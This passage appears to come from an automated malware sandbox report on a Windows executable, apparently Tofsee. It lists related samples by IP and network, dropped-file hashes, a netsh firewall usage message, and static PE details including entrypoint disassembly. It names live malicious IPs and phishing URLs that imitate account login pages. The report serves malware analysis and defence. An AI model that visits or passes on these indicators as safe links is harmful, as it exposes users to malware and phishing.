	874A7cigvX.exe	Get hash	malicious	Tofsee	Browse	52.101.42.0
	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse	52.101.8.49
	ODy57hA4Su.exe	Get hash	malicious	Tofsee	Browse	52.101.11.0
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse	52.101.8.49
	qkkcfptf.exe	Get hash	malicious	Tofsee	Browse	52.101.42.0
	vekvtia.exe	Get hash	malicious	Tofsee	Browse	52.101.8.49
	knkduwqg.exe	Get hash	malicious	Tofsee	Browse	52.101.11.0
	foufdsk.exe	Get hash	malicious	Tofsee	Browse	52.101.40.26

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
URALTRANSCOM-ASUA	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse	195.58.54.132
	cQOoKCZyG3.elf	Get hash	malicious	Mirai	Browse	91.215.129.108
	09M6JXwjtO.elf	Get hash	malicious	Mirai	Browse	195.133.84.147
	Pb0GaINSjK.elf	Get hash	malicious	Mirai	Browse	194.87.3.81
	QN5PrDr5St.elf	Get hash	malicious	Unknown	Browse	195.133.84.180
	8dToMPcvO1.elf	Get hash	malicious	Mirai	Browse	91.215.129.145
	wsskM49eA3.elf	Get hash	malicious	Unknown	Browse	195.133.89.28
	quhEKAdhFU.elf	Get hash	malicious	Mirai	Browse	91.215.129.137
	5z7qDyLr2T.elf	Get hash	malicious	Mirai	Browse	91.215.129.142
	NwB5j32x4j.elf	Get hash	malicious	Mirai	Browse	91.215.129.123
YAHOO-GQ1US	https://nke.pages.dev/account/js-reporting/?crumb=uZ4.07kERLI&message=javascript_not_enabled&ref=/account/challenge/password	Get hash	malicious	HTMLPhisher	Browse	67.195.160.106
	http://opm.pages.dev/account/js-reporting?crumb=uZ4.07kERLI&message=javascript_not_enabled&ref=/account/challenge/password	Get hash	malicious	HTMLPhisher	Browse	74.6.160.106
	http://jss.pages.dev/account/js-reporting?crumb=uZ4.07kERLI&message=javascript_not_enabled&ref=/account/challenge/password	Get hash	malicious	HTMLPhisher	Browse	74.6.160.106
	Play_VM-NowXuerebjAudiowav012.html	Get hash	malicious	HTMLPhisher	Browse	98.137.11.163
	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse	67.195.228.111
	ODy57hA4Su.exe	Get hash	malicious	Tofsee	Browse	67.195.228.109
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse	67.195.228.109
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	67.195.2.108
	154.213.187.80-x86-2024-09-01T00_09_56.elf	Get hash	malicious	Mirai	Browse	98.137.238.184
	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	98.137.238.174
MICROSOFT-CORP-MSN-AS-BLOCKUS	6b58b6.msi	Get hash	malicious	PureLog Stealer	Browse	20.103.202.45
	http://is.gd/EmlK8C	Get hash	malicious	Unknown	Browse	150.171.27.10
	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse	52.101.42.0
	Ordem de Compra 457525.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	Copy0761000025.xlsm	Get hash	malicious	Unknown	Browse	13.107.253.72
	rPO767575.cmd	Get hash	malicious	DBatLoader	Browse	13.107.137.11
	160eb3d41a49c24b1ba025424b781ddf3acb8979ffb90269b6a0f701be0c3dfa.25.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	160eb3d41a49c24b1ba025424b781ddf3acb8979ffb90269b6a0f701be0c3dfa.24.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	8zzBr1gT31.elf	Get hash	malicious	Mirai	Browse	22.112.76.125
	160eb3d41a49c24b1ba025424b781ddf3acb8979ffb90269b6a0f701be0c3dfa.23.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
MAILRU-ASMailRuRU	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse	94.100.180.31
	8zzBr1gT31.elf	Get hash	malicious	Mirai	Browse	5.61.23.57
	2FnvReiPU6.exe	Get hash	malicious	Tofsee	Browse	94.100.180.31
	OuZGkt7xKK.exe	Get hash	malicious	Coinhive, Xmrig	Browse	178.237.20.50
	OuZGkt7xKK.exe	Get hash	malicious	Coinhive, Xmrig	Browse	178.237.20.50
	874A7cigvX.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	ODy57hA4Su.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	qkkcfptf.exe	Get hash	malicious	Tofsee	Browse	94.100.180.31

Process:	C:\Users\user\Desktop\2IFYYPRUgO.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14320128
Entropy (8bit):	5.252062721995976
Encrypted:	false
SSDEEP:	98304:VxTETETETETETETETETETETETETETETETETETETETETETETETETETETETETETETq:
MD5:	A55CE6DA03E8C8D33F5FBC378D553054
SHA1:	E6D20B374498308D5A1BABD42B8B14526504F643
SHA-256:	195F171362E94C1846B0A6A8A368EE09599C069542CE6162E898F05D6D12CDA5
SHA-512:	13976E704D1CD3D1FCDD13FB69A43708F7CEC1B4F19E05CBB0FE489E7F03FF7FAC908E2D30D8431E04D01AB2854DE27F3D061ADBC3E69FF322BD9BF14DF9B092
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AvW...9}..9}..9}ja.}..9}ja.}..9}ja.}i.9}.o.}..9}..8}..9}ja.}..9}ja.}..9}ja.}..9}Rich..9}........................PE..L....m.e............................-j............@..................................r......................................4...x.......(............................................................O..@...............,............................text............................... ..`.data...........^..................@....rsrc...(........X...*..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14320128
Entropy (8bit):	5.252062721995976
Encrypted:	false
SSDEEP:	98304:VxTETETETETETETETETETETETETETETETETETETETETETETETETETETETETETETq:
MD5:	A55CE6DA03E8C8D33F5FBC378D553054
SHA1:	E6D20B374498308D5A1BABD42B8B14526504F643
SHA-256:	195F171362E94C1846B0A6A8A368EE09599C069542CE6162E898F05D6D12CDA5
SHA-512:	13976E704D1CD3D1FCDD13FB69A43708F7CEC1B4F19E05CBB0FE489E7F03FF7FAC908E2D30D8431E04D01AB2854DE27F3D061ADBC3E69FF322BD9BF14DF9B092
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AvW...9}..9}..9}ja.}..9}ja.}..9}ja.}i.9}.o.}..9}..8}..9}ja.}..9}ja.}..9}ja.}..9}Rich..9}........................PE..L....m.e............................-j............@..................................r......................................4...x.......(............................................................O..@...............,............................text............................... ..`.data...........^..................@....rsrc...(........X...*..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3773
Entropy (8bit):	4.7109073551842435
Encrypted:	false
SSDEEP:	48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w
MD5:	DA3247A302D70819F10BCEEBAF400503
SHA1:	2857AA198EE76C86FC929CC3388A56D5FD051844
SHA-256:	5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8
SHA-512:	48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8
Malicious:	false
Preview:	..A specified value is not valid.....Usage: add rule name=<string>.. dir=in\|out.. action=allow\|block\|bypass.. [program=<program path>].. [service=<service short name>\|any].. [description=<string>].. [enable=yes\|no (default=yes)].. [profile=public\|private\|domain\|any[,...]].. [localip=any\|<IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [remoteip=any\|localsubnet\|dns\|dhcp\|wins\|defaultgateway\|.. <IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [localport=0-65535\|<port range>[,...]\|RPC\|RPC-EPMap\|IPHTTPS\|any (default=any)].. [remoteport=0-65535\|<port range>[,...]\|any (default=any)].. [protocol=0-255\|icmpv4\|icmpv6\|icmpv4:type,code\|icmpv6:type,code\|.. tcp\|udp\|any (default=any)].. [interfacetype=wireless\|lan\|ras\|any].. [rmtcomputergrp=<SDDL string>].. [rmtusrgrp=<SDDL string>].. [edge=yes\|deferapp\|deferuser\|no (default=no)].. [security=authenticate\|authenc\|authdynenc\|authnoencap\|

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.79756115920307
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2IFYYPRUgO.exe
File size:	457'728 bytes
MD5:	dd9983e56e44b300e97fbead17bbb8ec
SHA1:	bcfc4f542d1824b23b5beefe94e8eaa9d487e037
SHA256:	16c9a4debb518681ece83ec9f4eb3edfab08cc4231243db1949a64c80e017aa4
SHA512:	02663157f5a109a122897fb0ac32eda38a9ed5d289b70ef1541e3ca800e02a41d471879e04d1bd59eb2110e4a0f8cd7851e3bacba04147ffa488997e8a100457
SSDEEP:	6144:XZBpoyz+AlKudZ10mVtZ4ELIgjdo7d5UNo4MaGSlrLo5FXCnFk:Xruyz+PMZ10mVrLL/27gWxerCSC
TLSH:	A3A48FE342B1BC55F9224E72AE1EE6ED357FF5608D5467271218AA2F24703F2D163B20
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AvW...9}..9}..9}ja.}..9}ja.}..9}ja.}i.9}.o.}..9}..8}..9}ja.}..9}ja.}..9}ja.}..9}Rich..9}........................PE..L....m.e...

File Icon


Icon Hash:	512549454545510d

Static PE Info

General

Entrypoint:	0x406a2d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65146D04 [Wed Sep 27 17:57:24 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	de80f36f2a6fc0a853a31d1d9771ee6a

Entrypoint Preview

Instruction
call 00007F81DCF512F7h
jmp 00007F81DCF4E11Eh
int3
int3
int3
int3
int3
int3
int3
int3
int3
call 00007F81DCF4E2CCh
xchg cl, ch
jmp 00007F81DCF4E2B4h
call 00007F81DCF4E2C3h
fxch st(0), st(1)
jmp 00007F81DCF4E2ABh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007F81DCF4E2A1h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007F81DCF4E296h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007F81DCF4E294h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007F81DCF4E297h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007F81DCF4E8BFh
fstp st(0)
fld tbyte ptr [00401C0Ah]
ret
fstp st(0)
or cl, cl
je 00007F81DCF4E29Dh
fstp st(0)
fldpi
or ch, ch
je 00007F81DCF4E294h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007F81DCF4E289h
fchs
ret
fstp st(0)
jmp 00007F81DCF4E895h
fstp st(0)
mov cl, ch
jmp 00007F81DCF4E292h
call 00007F81DCF4E25Eh
jmp 00007F81DCF4E8A0h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, 00000000h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3cb34	0x78	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x205a000	0x2d128	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3cbac	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4fc0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x22c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3c7f2	0x3c800	59f998286ded174d4f6304fa98088344	False	0.8747054170971075	data	7.790689819243222	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3e000	0x201b0e4	0x5e00	c449db746c9c294bd509845dcac67ff3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x205a000	0x2d128	0x2d200	9701c279f67eb0d3033f3dfb832b2d0c	False	0.4509716932132964	data	5.182893258769138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PAMIYUYOVELURASEYOKODIJEBAWABIBO	0x2081ac8	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.5899857678871782
PAMIYUYOVELURASEYOKODIJEBAWABIBO	0x2081ac8	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.5899857678871782
ZEZEJEFIJICEDORIJ	0x2080758	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	India	0.5917587939698492
ZEZEJEFIJICEDORIJ	0x2080758	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	Sri Lanka	0.5917587939698492
RT_CURSOR	0x2083938	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x20847e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x2085088	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_ICON	0x205ad50	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.43336886993603413
RT_ICON	0x205ad50	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.43336886993603413
RT_ICON	0x205bbf8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5397111913357401
RT_ICON	0x205bbf8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5397111913357401
RT_ICON	0x205c4a0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6059907834101382
RT_ICON	0x205c4a0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6059907834101382
RT_ICON	0x205cb68	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6770231213872833
RT_ICON	0x205cb68	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6770231213872833
RT_ICON	0x205d0d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.33184647302904563
RT_ICON	0x205d0d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.33184647302904563
RT_ICON	0x205f678	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.4075984990619137
RT_ICON	0x205f678	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.4075984990619137
RT_ICON	0x2060720	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.47295081967213115
RT_ICON	0x2060720	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.47295081967213115
RT_ICON	0x20610a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.5531914893617021
RT_ICON	0x20610a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.5531914893617021
RT_ICON	0x2061588	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.3662046908315565
RT_ICON	0x2061588	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.3662046908315565
RT_ICON	0x2062430	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.45216606498194944
RT_ICON	0x2062430	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.45216606498194944
RT_ICON	0x2062cd8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.4573732718894009
RT_ICON	0x2062cd8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.4573732718894009
RT_ICON	0x20633a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.4588150289017341
RT_ICON	0x20633a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.4588150289017341
RT_ICON	0x2063908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2697095435684647
RT_ICON	0x2063908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2697095435684647
RT_ICON	0x2065eb0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.3074577861163227
RT_ICON	0x2065eb0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.3074577861163227
RT_ICON	0x2066f58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.35726950354609927
RT_ICON	0x2066f58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.35726950354609927
RT_ICON	0x2067428	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.5671641791044776
RT_ICON	0x2067428	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.5671641791044776
RT_ICON	0x20682d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5478339350180506
RT_ICON	0x20682d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5478339350180506
RT_ICON	0x2068b78	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.6105491329479769
RT_ICON	0x2068b78	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.6105491329479769
RT_ICON	0x20690e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4632780082987552
RT_ICON	0x20690e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4632780082987552
RT_ICON	0x206b688	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.4875703564727955
RT_ICON	0x206b688	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.4875703564727955
RT_ICON	0x206c730	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4930327868852459
RT_ICON	0x206c730	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4930327868852459
RT_ICON	0x206d0b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.449468085106383
RT_ICON	0x206d0b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.449468085106383
RT_ICON	0x206d588	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.39152452025586354
RT_ICON	0x206d588	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.39152452025586354
RT_ICON	0x206e430	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5144404332129964
RT_ICON	0x206e430	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5144404332129964
RT_ICON	0x206ecd8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5783410138248848
RT_ICON	0x206ecd8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5783410138248848
RT_ICON	0x206f3a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.5823699421965318
RT_ICON	0x206f3a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.5823699421965318
RT_ICON	0x206f908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.3878630705394191
RT_ICON	0x206f908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.3878630705394191
RT_ICON	0x2071eb0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.42964352720450283
RT_ICON	0x2071eb0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.42964352720450283
RT_ICON	0x2072f58	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4151639344262295
RT_ICON	0x2072f58	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4151639344262295
RT_ICON	0x20738e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.48847517730496454
RT_ICON	0x20738e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.48847517730496454
RT_ICON	0x2073dc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.48933901918976547
RT_ICON	0x2073dc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.48933901918976547
RT_ICON	0x2074c68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.46886281588447654
RT_ICON	0x2074c68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.46886281588447654
RT_ICON	0x2075510	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.434971098265896
RT_ICON	0x2075510	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.434971098265896
RT_ICON	0x2075a78	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.27977178423236515
RT_ICON	0x2075a78	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.27977178423236515
RT_ICON	0x2078020	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2903377110694184
RT_ICON	0x2078020	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2903377110694184
RT_ICON	0x20790c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.31024590163934423
RT_ICON	0x20790c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.31024590163934423
RT_ICON	0x2079a50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3377659574468085
RT_ICON	0x2079a50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3377659574468085
RT_ICON	0x2079f20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.3829957356076759
RT_ICON	0x2079f20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.3829957356076759
RT_ICON	0x207adc8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5424187725631769
RT_ICON	0x207adc8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5424187725631769
RT_ICON	0x207b670	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6215437788018433
RT_ICON	0x207b670	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6215437788018433
RT_ICON	0x207bd38	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6596820809248555
RT_ICON	0x207bd38	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6596820809248555
RT_ICON	0x207c2a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.5139004149377593
RT_ICON	0x207c2a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.5139004149377593
RT_ICON	0x207e848	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.5382270168855535
RT_ICON	0x207e848	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.5382270168855535
RT_ICON	0x207f8f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.5217213114754098
RT_ICON	0x207f8f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.5217213114754098
RT_ICON	0x2080278	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.5815602836879432
RT_ICON	0x2080278	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.5815602836879432
RT_STRING	0x2085878	0x506	data	Tamil	India	0.44712286158631415
RT_STRING	0x2085878	0x506	data	Tamil	Sri Lanka	0.44712286158631415
RT_STRING	0x2085d80	0x6fa	data	Tamil	India	0.4232922732362822
RT_STRING	0x2085d80	0x6fa	data	Tamil	Sri Lanka	0.4232922732362822
RT_STRING	0x2086480	0x2cc	data	Tamil	India	0.48463687150837986
RT_STRING	0x2086480	0x2cc	data	Tamil	Sri Lanka	0.48463687150837986
RT_STRING	0x2086750	0x606	data	Tamil	India	0.4383916990920882
RT_STRING	0x2086750	0x606	data	Tamil	Sri Lanka	0.4383916990920882
RT_STRING	0x2086d58	0x3cc	data	Tamil	India	0.45267489711934156
RT_STRING	0x2086d58	0x3cc	data	Tamil	Sri Lanka	0.45267489711934156
RT_ACCELERATOR	0x2083900	0x38	data	Tamil	India	0.9107142857142857
RT_ACCELERATOR	0x2083900	0x38	data	Tamil	Sri Lanka	0.9107142857142857
RT_GROUP_CURSOR	0x20855f0	0x30	data			0.9375
RT_GROUP_ICON	0x206d520	0x68	data	Tamil	India	0.7115384615384616
RT_GROUP_ICON	0x206d520	0x68	data	Tamil	Sri Lanka	0.7115384615384616
RT_GROUP_ICON	0x2061510	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x2061510	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_GROUP_ICON	0x20673c0	0x68	data	Tamil	India	0.7115384615384616
RT_GROUP_ICON	0x20673c0	0x68	data	Tamil	Sri Lanka	0.7115384615384616
RT_GROUP_ICON	0x2073d48	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x2073d48	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_GROUP_ICON	0x20806e0	0x76	data	Tamil	India	0.6864406779661016
RT_GROUP_ICON	0x20806e0	0x76	data	Tamil	Sri Lanka	0.6864406779661016
